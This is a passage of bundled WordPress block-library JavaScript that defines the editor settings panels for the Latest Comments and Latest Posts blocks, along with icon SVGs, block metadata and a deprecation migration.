25103 displayAvatar: true,
25104 displayDate: true,
25105 displayExcerpt: true
25106 });
25107 },
25108 dropdownMenuProps,
25109 children: [
25110 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25111 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25112 {
25113 hasValue: () => !displayAvatar,
25114 label: (0,external_wp_i18n_namespaceObject.__)("Display avatar"),
25115 onDeselect: () => setAttributes({ displayAvatar: true }),
25116 isShownByDefault: true,
25117 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25118 external_wp_components_namespaceObject.ToggleControl,
25119 {
25120 __nextHasNoMarginBottom: true,
25121 label: (0,external_wp_i18n_namespaceObject.__)("Display avatar"),
25122 checked: displayAvatar,
25123 onChange: () => setAttributes({
25124 displayAvatar: !displayAvatar
25125 })
25126 }
25127 )
25128 }
25129 ),
25130 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25131 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25132 {
25133 hasValue: () => !displayDate,
25134 label: (0,external_wp_i18n_namespaceObject.__)("Display date"),
25135 onDeselect: () => setAttributes({ displayDate: true }),
25136 isShownByDefault: true,
25137 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25138 external_wp_components_namespaceObject.ToggleControl,
25139 {
25140 __nextHasNoMarginBottom: true,
25141 label: (0,external_wp_i18n_namespaceObject.__)("Display date"),
25142 checked: displayDate,
25143 onChange: () => setAttributes({ displayDate: !displayDate })
25144 }
25145 )
25146 }
25147 ),
25148 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25149 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25150 {
25151 hasValue: () => !displayExcerpt,
25152 label: (0,external_wp_i18n_namespaceObject.__)("Display excerpt"),
25153 onDeselect: () => setAttributes({ displayExcerpt: true }),
25154 isShownByDefault: true,
25155 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25156 external_wp_components_namespaceObject.ToggleControl,
25157 {
25158 __nextHasNoMarginBottom: true,
25159 label: (0,external_wp_i18n_namespaceObject.__)("Display excerpt"),
25160 checked: displayExcerpt,
25161 onChange: () => setAttributes({
25162 displayExcerpt: !displayExcerpt
25163 })
25164 }
25165 )
25166 }
25167 ),
25168 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25169 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25170 {
25171 hasValue: () => commentsToShow !== 5,
25172 label: (0,external_wp_i18n_namespaceObject.__)("Number of comments"),
25173 onDeselect: () => setAttributes({ commentsToShow: 5 }),
25174 isShownByDefault: true,
25175 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25176 external_wp_components_namespaceObject.RangeControl,
25177 {
25178 __nextHasNoMarginBottom: true,
25179 __next40pxDefaultSize: true,
25180 label: (0,external_wp_i18n_namespaceObject.__)("Number of comments"),
25181 value: commentsToShow,
25182 onChange: (value) => setAttributes({ commentsToShow: value }),
25183 min: MIN_COMMENTS,
25184 max: MAX_COMMENTS,
25185 required: true
25186 }
25187 )
25188 }
25189 )
25190 ]
25191 }
25192 ) }),
25193 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25194 (external_wp_serverSideRender_default()),
25195 {
25196 block: "core/latest-comments",
25197 attributes: serverSideAttributes,
25198 urlQueryArgs: { _locale: "site" }
25199 }
25200 ) })
25201 ] });
25202}
25203
25204
25205;// ./node_modules/@wordpress/block-library/build-module/latest-comments/index.js
25206
25207
25208
25209
25210const { name: latest_comments_name } = latest_comments_block_namespaceObject;
25211const latest_comments_settings = {
25212 icon: comment_default,
25213 example: {},
25214 edit: LatestComments
25215};
25216const latest_comments_init = () => initBlock({ name: latest_comments_name, metadata: latest_comments_block_namespaceObject, settings: latest_comments_settings });
25217
25218
25219;// ./node_modules/@wordpress/icons/build-module/library/post-list.js
25220
25221
25222var post_list_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z" }) });
25223
25224
25225;// ./node_modules/@wordpress/block-library/build-module/latest-posts/block.json
25226const latest_posts_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/latest-posts","title":"Latest Posts","category":"widgets","description":"Display a list of your most recent posts.","keywords":["recent posts"],"textdomain":"default","attributes":{"categories":{"type":"array","items":{"type":"object"}},"selectedAuthor":{"type":"number"},"postsToShow":{"type":"number","default":5},"displayPostContent":{"type":"boolean","default":false},"displayPostContentRadio":{"type":"string","default":"excerpt"},"excerptLength":{"type":"number","default":55},"displayAuthor":{"type":"boolean","default":false},"displayPostDate":{"type":"boolean","default":false},"postLayout":{"type":"string","default":"list"},"columns":{"type":"number","default":3},"order":{"type":"string","default":"desc"},"orderBy":{"type":"string","default":"date"},"displayFeaturedImage":{"type":"boolean","default":false},"featuredImageAlign":{"type":"string","enum":["left","center","right"]},"featuredImageSizeSlug":{"type":"string","default":"thumbnail"},"featuredImageSizeWidth":{"type":"number","default":null},"featuredImageSizeHeight":{"type":"number","default":null},"addLinkToFeaturedImage":{"type":"boolean","default":false}},"supports":{"align":true,"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-latest-posts-editor","style":"wp-block-latest-posts"}');
25227;// ./node_modules/@wordpress/block-library/build-module/latest-posts/deprecated.js
25228
25229const { attributes: deprecated_attributes } = latest_posts_block_namespaceObject;
25230var latest_posts_deprecated_deprecated_default = [
25231 {
25232 attributes: {
25233 ...deprecated_attributes,
25234 categories: {
25235 type: "string"
25236 }
25237 },
25238 supports: {
25239 align: true,
25240 html: false
25241 },
25242 migrate: (oldAttributes) => {
25243 return {
25244 ...oldAttributes,
25245 categories: [{ id: Number(oldAttributes.categories) }]
25246 };
25247 },
25248 isEligible: ({ categories }) => categories && "string" === typeof categories,
25249 save: () => null
25250 }
25251];
25252
25253
25254;// ./node_modules/@wordpress/icons/build-module/library/align-none.js
25255
25256
25257var align_none_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z" }) });
25258
25259
25260;// ./node_modules/@wordpress/icons/build-module/library/position-left.js
25261
25262
25263var position_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z" }) });
25264
25265
25266;// ./node_modules/@wordpress/icons/build-module/library/position-center.js
25267
25268
25269var position_center_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z" }) });
25270
25271
25272;// ./node_modules/@wordpress/icons/build-module/library/position-right.js
25273
25274
25275var position_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5.5h-8V4h8v1.5ZM19 20h-8v-1.5h8V20ZM5 9h14v6H5V9Z" }) });
25276
25277
25278;// ./node_modules/@wordpress/icons/build-module/library/list.js
25279
25280
25281var list_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z" }) });
25282
25283
25284;// ./node_modules/@wordpress/block-library/build-module/latest-posts/constants.js
25285const MIN_EXCERPT_LENGTH = 10;
25286const MAX_EXCERPT_LENGTH = 100;
25287const MAX_POSTS_COLUMNS = 6;
25288const DEFAULT_EXCERPT_LENGTH = 55;
25289
25290
25291;// ./node_modules/@wordpress/block-library/build-module/latest-posts/edit.js
25292
25293
25294
25295
25296
25297
25298
25299
25300
25301
25302
25303
25304
25305
25306const CATEGORIES_LIST_QUERY = {
25307 per_page: -1,
25308 _fields: "id,name",
25309 context: "view"
25310};
25311const USERS_LIST_QUERY = {
25312 per_page: -1,
25313 has_published_posts: ["post"],
25314 context: "view"
25315};
25316const imageAlignmentOptions = [
25317 {
25318 value: "none",
25319 icon: align_none_default,
25320 label: (0,external_wp_i18n_namespaceObject.__)("None")
25321 },
25322 {
25323 value: "left",
25324 icon: position_left_default,
25325 label: (0,external_wp_i18n_namespaceObject.__)("Left")
25326 },
25327 {
25328 value: "center",
25329 icon: position_center_default,
25330 label: (0,external_wp_i18n_namespaceObject.__)("Center")
25331 },
25332 {
25333 value: "right",
25334 icon: position_right_default,
25335 label: (0,external_wp_i18n_namespaceObject.__)("Right")
25336 }
25337];
25338function getFeaturedImageDetails(post, size) {
25339 const image = post._embedded?.["wp:featuredmedia"]?.["0"];
25340 return {
25341 url: image?.media_details?.sizes?.[size]?.source_url ?? image?.source_url,
25342 alt: image?.alt_text
25343 };
25344}
25345function getCurrentAuthor(post) {
25346 return post._embedded?.author?.[0];
25347}
25348function Controls({ attributes, setAttributes, postCount }) {
25349 const {
25350 postsToShow,
25351 order,
25352 orderBy,
25353 categories,
25354 selectedAuthor,
25355 displayFeaturedImage,
25356 displayPostContentRadio,
25357 displayPostContent,
25358 displayPostDate,
25359 displayAuthor,
25360 postLayout,
25361 columns,
25362 excerptLength,
25363 featuredImageAlign,
25364 featuredImageSizeSlug,
25365 featuredImageSizeWidth,
25366 featuredImageSizeHeight,
25367 addLinkToFeaturedImage
25368 } = attributes;
25369 const {
25370 imageSizes,
25371 defaultImageWidth,
25372 defaultImageHeight,
25373 categoriesList,
25374 authorList
25375 } = (0,external_wp_data_namespaceObject.useSelect)(
25376 (select) => {
25377 const { getEntityRecords, getUsers } = select(external_wp_coreData_namespaceObject.store);
25378 const settings = select(external_wp_blockEditor_namespaceObject.store).getSettings();
25379 return {
25380 defaultImageWidth: settings.imageDimensions?.[featuredImageSizeSlug]?.width ?? 0,
25381 defaultImageHeight: settings.imageDimensions?.[featuredImageSizeSlug]?.height ?? 0,
25382 imageSizes: settings.imageSizes,
25383 categoriesList: getEntityRecords(
25384 "taxonomy",
25385 "category",
25386 CATEGORIES_LIST_QUERY
25387 ),
25388 authorList: getUsers(USERS_LIST_QUERY)
25389 };
25390 },
25391 [featuredImageSizeSlug]
25392 );
25393 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
25394 const imageSizeOptions = imageSizes.filter(({ slug }) => slug !== "full").map(({ name, slug }) => ({
25395 value: slug,
25396 label: name
25397 }));
25398 const categorySuggestions = categoriesList?.reduce(
25399 (accumulator, category) => ({
25400 ...accumulator,
25401 [category.name]: category
25402 }),
25403 {}
25404 ) ?? {};
25405 const selectCategories = (tokens) => {
25406 const hasNoSuggestion = tokens.some(
25407 (token) => typeof token === "string" && !categorySuggestions[token]
25408 );
25409 if (hasNoSuggestion) {
25410 return;
25411 }
25412 const allCategories = tokens.map((token) => {
25413 return typeof token === "string" ? categorySuggestions[token] : token;
25414 });
25415 if (allCategories.includes(null)) {
25416 return false;
25417 }
25418 setAttributes({ categories: allCategories });
25419 };
25420 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25421 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
25422 external_wp_components_namespaceObject.__experimentalToolsPanel,
25423 {
25424 label: (0,external_wp_i18n_namespaceObject.__)("Post content"),
25425 resetAll: () => setAttributes({
25426 displayPostContent: false,
25427 displayPostContentRadio: "excerpt",
25428 excerptLength: DEFAULT_EXCERPT_LENGTH
25429 }),
25430 dropdownMenuProps,
25431 children: [
25432 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25433 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25434 {
25435 hasValue: () => !!displayPostContent,
25436 label: (0,external_wp_i18n_namespaceObject.__)("Display post content"),
25437 onDeselect: () => setAttributes({ displayPostContent: false }),
25438 isShownByDefault: true,
25439 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25440 external_wp_components_namespaceObject.ToggleControl,
25441 {
25442 __nextHasNoMarginBottom: true,
25443 label: (0,external_wp_i18n_namespaceObject.__)("Display post content"),
25444 checked: displayPostContent,
25445 onChange: (value) => setAttributes({ displayPostContent: value })
25446 }
25447 )
25448 }
25449 ),
25450 displayPostContent && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25451 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25452 {
25453 hasValue: () => displayPostContentRadio !== "excerpt",
25454 label: (0,external_wp_i18n_namespaceObject.__)("Content length"),
25455 onDeselect: () => setAttributes({
25456 displayPostContentRadio: "excerpt"
25457 }),
25458 isShownByDefault: true,
25459 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25460 external_wp_components_namespaceObject.RadioControl,
25461 {
25462 label: (0,external_wp_i18n_namespaceObject.__)("Content length"),
25463 selected: displayPostContentRadio,
25464 options: [
25465 { label: (0,external_wp_i18n_namespaceObject.__)("Excerpt"), value: "excerpt" },
25466 {
25467 label: (0,external_wp_i18n_namespaceObject.__)("Full post"),
25468 value: "full_post"
25469 }
25470 ],
25471 onChange: (value) => setAttributes({
25472 displayPostContentRadio: value
25473 })
25474 }
25475 )
25476 }
25477 ),
25478 displayPostContent && displayPostContentRadio === "excerpt" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25479 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25480 {
25481 hasValue: () => excerptLength !== DEFAULT_EXCERPT_LENGTH,
25482 label: (0,external_wp_i18n_namespaceObject.__)("Max number of words"),
25483 onDeselect: () => setAttributes({
25484 excerptLength: DEFAULT_EXCERPT_LENGTH
25485 }),
25486 isShownByDefault: true,
25487 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25488 external_wp_components_namespaceObject.RangeControl,
25489 {
25490 __nextHasNoMarginBottom: true,
25491 __next40pxDefaultSize: true,
25492 label: (0,external_wp_i18n_namespaceObject.__)("Max number of words"),
25493 value: excerptLength,
25494 onChange: (value) => setAttributes({ excerptLength: value }),
25495 min: MIN_EXCERPT_LENGTH,
25496 max: MAX_EXCERPT_LENGTH
25497 }
25498 )
25499 }
25500 )
25501 ]
25502 }
25503 ),
25504 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
25505 external_wp_components_namespaceObject.__experimentalToolsPanel,
25506 {
25507 label: (0,external_wp_i18n_namespaceObject.__)("Post meta"),
25508 resetAll: () => setAttributes({
25509 displayAuthor: false,
25510 displayPostDate: false
25511 }),
25512 dropdownMenuProps,
25513 children: [
25514 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25515 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25516 {
25517 hasValue: () => !!displayAuthor,
25518 label: (0,external_wp_i18n_namespaceObject.__)("Display author name"),
25519 onDeselect: () => setAttributes({ displayAuthor: false }),
25520 isShownByDefault: true,
25521 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25522 external_wp_components_namespaceObject.ToggleControl,
25523 {
25524 __nextHasNoMarginBottom: true,
25525 label: (0,external_wp_i18n_namespaceObject.__)("Display author name"),
25526 checked: displayAuthor,
25527 onChange: (value) => setAttributes({ displayAuthor: value })
25528 }
25529 )
25530 }
25531 ),
25532 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25533 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25534 {
25535 hasValue: () => !!displayPostDate,
25536 label: (0,external_wp_i18n_namespaceObject.__)("Display post date"),
25537 onDeselect: () => setAttributes({ displayPostDate: false }),
25538 isShownByDefault: true,
25539 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25540 external_wp_components_namespaceObject.ToggleControl,
25541 {
25542 __nextHasNoMarginBottom: true,
25543 label: (0,external_wp_i18n_namespaceObject.__)("Display post date"),
25544 checked: displayPostDate,
25545 onChange: (value) => setAttributes({ displayPostDate: value })
25546 }
25547 )
25548 }
25549 )
25550 ]
25551 }
25552 ),
25553 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
25554 external_wp_components_namespaceObject.__experimentalToolsPanel,
25555 {
25556 label: (0,external_wp_i18n_namespaceObject.__)("Featured image"),
25557 resetAll: () => setAttributes({
25558 displayFeaturedImage: false,
25559 featuredImageAlign: void 0,
25560 featuredImageSizeSlug: "thumbnail",
25561 featuredImageSizeWidth: null,
25562 featuredImageSizeHeight: null,
25563 addLinkToFeaturedImage: false
25564 }),
25565 dropdownMenuProps,
25566 children: [
25567 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25568 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25569 {
25570 hasValue: () => !!displayFeaturedImage,
25571 label: (0,external_wp_i18n_namespaceObject.__)("Display featured image"),
25572 onDeselect: () => setAttributes({ displayFeaturedImage: false }),
25573 isShownByDefault: true,
25574 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25575 external_wp_components_namespaceObject.ToggleControl,
25576 {
25577 __nextHasNoMarginBottom: true,
25578 label: (0,external_wp_i18n_namespaceObject.__)("Display featured image"),
25579 checked: displayFeaturedImage,
25580 onChange: (value) => setAttributes({ displayFeaturedImage: value })
25581 }
25582 )
25583 }
25584 ),
25585 displayFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25586 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25587 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25588 {
25589 hasValue: () => featuredImageSizeSlug !== "thumbnail" || featuredImageSizeWidth !== null || featuredImageSizeHeight !== null,
25590 label: (0,external_wp_i18n_namespaceObject.__)("Image size"),
25591 onDeselect: () => setAttributes({
25592 featuredImageSizeSlug: "thumbnail",
25593 featuredImageSizeWidth: null,
25594 featuredImageSizeHeight: null
25595 }),
25596 isShownByDefault: true,
25597 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25598 external_wp_blockEditor_namespaceObject.__experimentalImageSizeControl,
25599 {
25600 onChange: (value) => {
25601 const newAttrs = {};
25602 if (value.hasOwnProperty("width")) {
25603 newAttrs.featuredImageSizeWidth = value.width;
25604 }
25605 if (value.hasOwnProperty("height")) {
25606 newAttrs.featuredImageSizeHeight = value.height;
25607 }
25608 setAttributes(newAttrs);
25609 },
25610 slug: featuredImageSizeSlug,
25611 width: featuredImageSizeWidth,
25612 height: featuredImageSizeHeight,
25613 imageWidth: defaultImageWidth,
25614 imageHeight: defaultImageHeight,
25615 imageSizeOptions,
25616 imageSizeHelp: (0,external_wp_i18n_namespaceObject.__)(
25617 "Select the size of the source image."
25618 ),
25619 onChangeImage: (value) => setAttributes({
25620 featuredImageSizeSlug: value,
25621 featuredImageSizeWidth: void 0,
25622 featuredImageSizeHeight: void 0
25623 })
25624 }
25625 )
25626 }
25627 ),
25628 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25629 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25630 {
25631 hasValue: () => !!featuredImageAlign,
25632 label: (0,external_wp_i18n_namespaceObject.__)("Image alignment"),
25633 onDeselect: () => setAttributes({
25634 featuredImageAlign: void 0
25635 }),
25636 isShownByDefault: true,
25637 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25638 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
25639 {
25640 className: "editor-latest-posts-image-alignment-control",
25641 __nextHasNoMarginBottom: true,
25642 __next40pxDefaultSize: true,
25643 label: (0,external_wp_i18n_namespaceObject.__)("Image alignment"),
25644 value: featuredImageAlign || "none",
25645 onChange: (value) => setAttributes({
25646 featuredImageAlign: value !== "none" ? value : void 0
25647 }),
25648 children: imageAlignmentOptions.map(
25649 ({ value, icon, label }) => {
25650 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25651 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
25652 {
25653 value,
25654 icon,
25655 label
25656 },
25657 value
25658 );
25659 }
25660 )
25661 }
25662 )
25663 }
25664 ),
25665 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25666 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25667 {
25668 hasValue: () => !!addLinkToFeaturedImage,
25669 label: (0,external_wp_i18n_namespaceObject.__)("Add link to featured image"),
25670 onDeselect: () => setAttributes({
25671 addLinkToFeaturedImage: false
25672 }),
25673 isShownByDefault: true,
25674 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25675 external_wp_components_namespaceObject.ToggleControl,
25676 {
25677 __nextHasNoMarginBottom: true,
25678 label: (0,external_wp_i18n_namespaceObject.__)("Add link to featured image"),
25679 checked: addLinkToFeaturedImage,
25680 onChange: (value) => setAttributes({
25681 addLinkToFeaturedImage: value
25682 })
25683 }
25684 )
25685 }
25686 )
25687 ] })
25688 ]
25689 }
25690 ),
25691 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
25692 external_wp_components_namespaceObject.__experimentalToolsPanel,
25693 {
25694 label: (0,external_wp_i18n_namespaceObject.__)("Sorting and filtering"),
25695 resetAll: () => setAttributes({
25696 order: "desc",
25697 orderBy: "date",
25698 postsToShow: 5,
25699 categories: void 0,
25700 selectedAuthor: void 0,
25701 columns: 3
25702 }),
25703 dropdownMenuProps,
25704 children: [
25705 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25706 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25707 {
25708 hasValue: () => order !== "desc" || orderBy !== "date" || postsToShow !== 5 || categories?.length > 0 || !!selectedAuthor,
25709 label: (0,external_wp_i18n_namespaceObject.__)("Sort and filter"),
25710 onDeselect: () => setAttributes({
25711 order: "desc",
25712 orderBy: "date",
25713 postsToShow: 5,
25714 categories: void 0,
25715 selectedAuthor: void 0
25716 }),
25717 isShownByDefault: true,
25718 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25719 external_wp_components_namespaceObject.QueryControls,
25720 {
25721 ...{ order, orderBy },
25722 numberOfItems: postsToShow,
25723 onOrderChange: (value) => setAttributes({ order: value }),
25724 onOrderByChange: (value) => setAttributes({ orderBy: value }),
25725 onNumberOfItemsChange: (value) => setAttributes({ postsToShow: value }),
25726 categorySuggestions,
25727 onCategoryChange: selectCategories,
25728 selectedCategories: categories,
25729 onAuthorChange: (value) => setAttributes({
25730 selectedAuthor: "" !== value ? Number(value) : void 0
25731 }),
25732 authorList: authorList ?? [],
25733 selectedAuthorId: selectedAuthor
25734 }
25735 )
25736 }
25737 ),
25738 postLayout === "grid" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25739 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25740 {
25741 hasValue: () => columns !== 3,
25742 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
25743 onDeselect: () => setAttributes({
25744 columns: 3
25745 }),
25746 isShownByDefault: true,
25747 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25748 external_wp_components_namespaceObject.RangeControl,
25749 {
25750 __nextHasNoMarginBottom: true,
25751 __next40pxDefaultSize: true,
25752 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
25753 value: columns,
25754 onChange: (value) => setAttributes({ columns: value }),
25755 min: 2,
25756 max: !postCount ? MAX_POSTS_COLUMNS : Math.min(MAX_POSTS_COLUMNS, postCount),
25757 required: true
25758 }
25759 )
25760 }
25761 )
25762 ]
25763 }
25764 )
25765 ] });
25766}
25767function LatestPostsEdit({ attributes, setAttributes }) {
25768 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(LatestPostsEdit);
25769 const {
25770 postsToShow,
25771 order,
25772 orderBy,
25773 categories,
25774 selectedAuthor,
25775 displayFeaturedImage,
25776 displayPostContentRadio,
25777 displayPostContent,
25778 displayPostDate,
25779 displayAuthor,
25780 postLayout,
25781 columns,
25782 excerptLength,
25783 featuredImageAlign,
25784 featuredImageSizeSlug,
25785 featuredImageSizeWidth,
25786 featuredImageSizeHeight,
25787 addLinkToFeaturedImage
25788 } = attributes;
25789 const { latestPosts } = (0,external_wp_data_namespaceObject.useSelect)(
25790 (select) => {
25791 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
25792 const catIds = categories && categories.length > 0 ? categories.map((cat) => cat.id) : [];
25793 const latestPostsQuery = Object.fromEntries(
25794 Object.entries({
25795 categories: catIds,
25796 author: selectedAuthor,
25797 order,
25798 orderby: orderBy,
25799 per_page: postsToShow,
25800 _embed: "author,wp:featuredmedia",
25801 ignore_sticky: true
25802 }).filter(([, value]) => typeof value !== "undefined")
25803 );
25804 return {
25805 latestPosts: getEntityRecords(
25806 "postType",
25807 "post",
25808 latestPostsQuery
25809 )
25810 };
25811 },
25812 [postsToShow, order, orderBy, categories, selectedAuthor]
25813 );
25814 const { createWarningNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
25815 const showRedirectionPreventedNotice = (event) => {
25816 event.preventDefault();
25817 createWarningNotice((0,external_wp_i18n_namespaceObject.__)("Links are disabled in the editor."), {
25818 id: `block-library/core/latest-posts/redirection-prevented/${instanceId}`,
25819 type: "snackbar"
25820 });
25821 };
25822 const hasPosts = !!latestPosts?.length;
25823 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25824 Controls,
25825 {
25826 attributes,
25827 setAttributes,
25828 postCount: latestPosts?.length ?? 0
25829 }
25830 ) });
25831 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
25832 className: dist_clsx({
25833 "wp-block-latest-posts__list": true,
25834 "is-grid": postLayout === "grid",
25835 "has-dates": displayPostDate,
25836 "has-author": displayAuthor,
25837 [`columns-${columns}`]: postLayout === "grid"
25838 })
25839 });
25840 if (!hasPosts) {
25841 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
25842 inspectorControls,
25843 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { icon: pin_default, label: (0,external_wp_i18n_namespaceObject.__)("Latest Posts"), children: !Array.isArray(latestPosts) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)("No posts found.") })
25844 ] });
25845 }
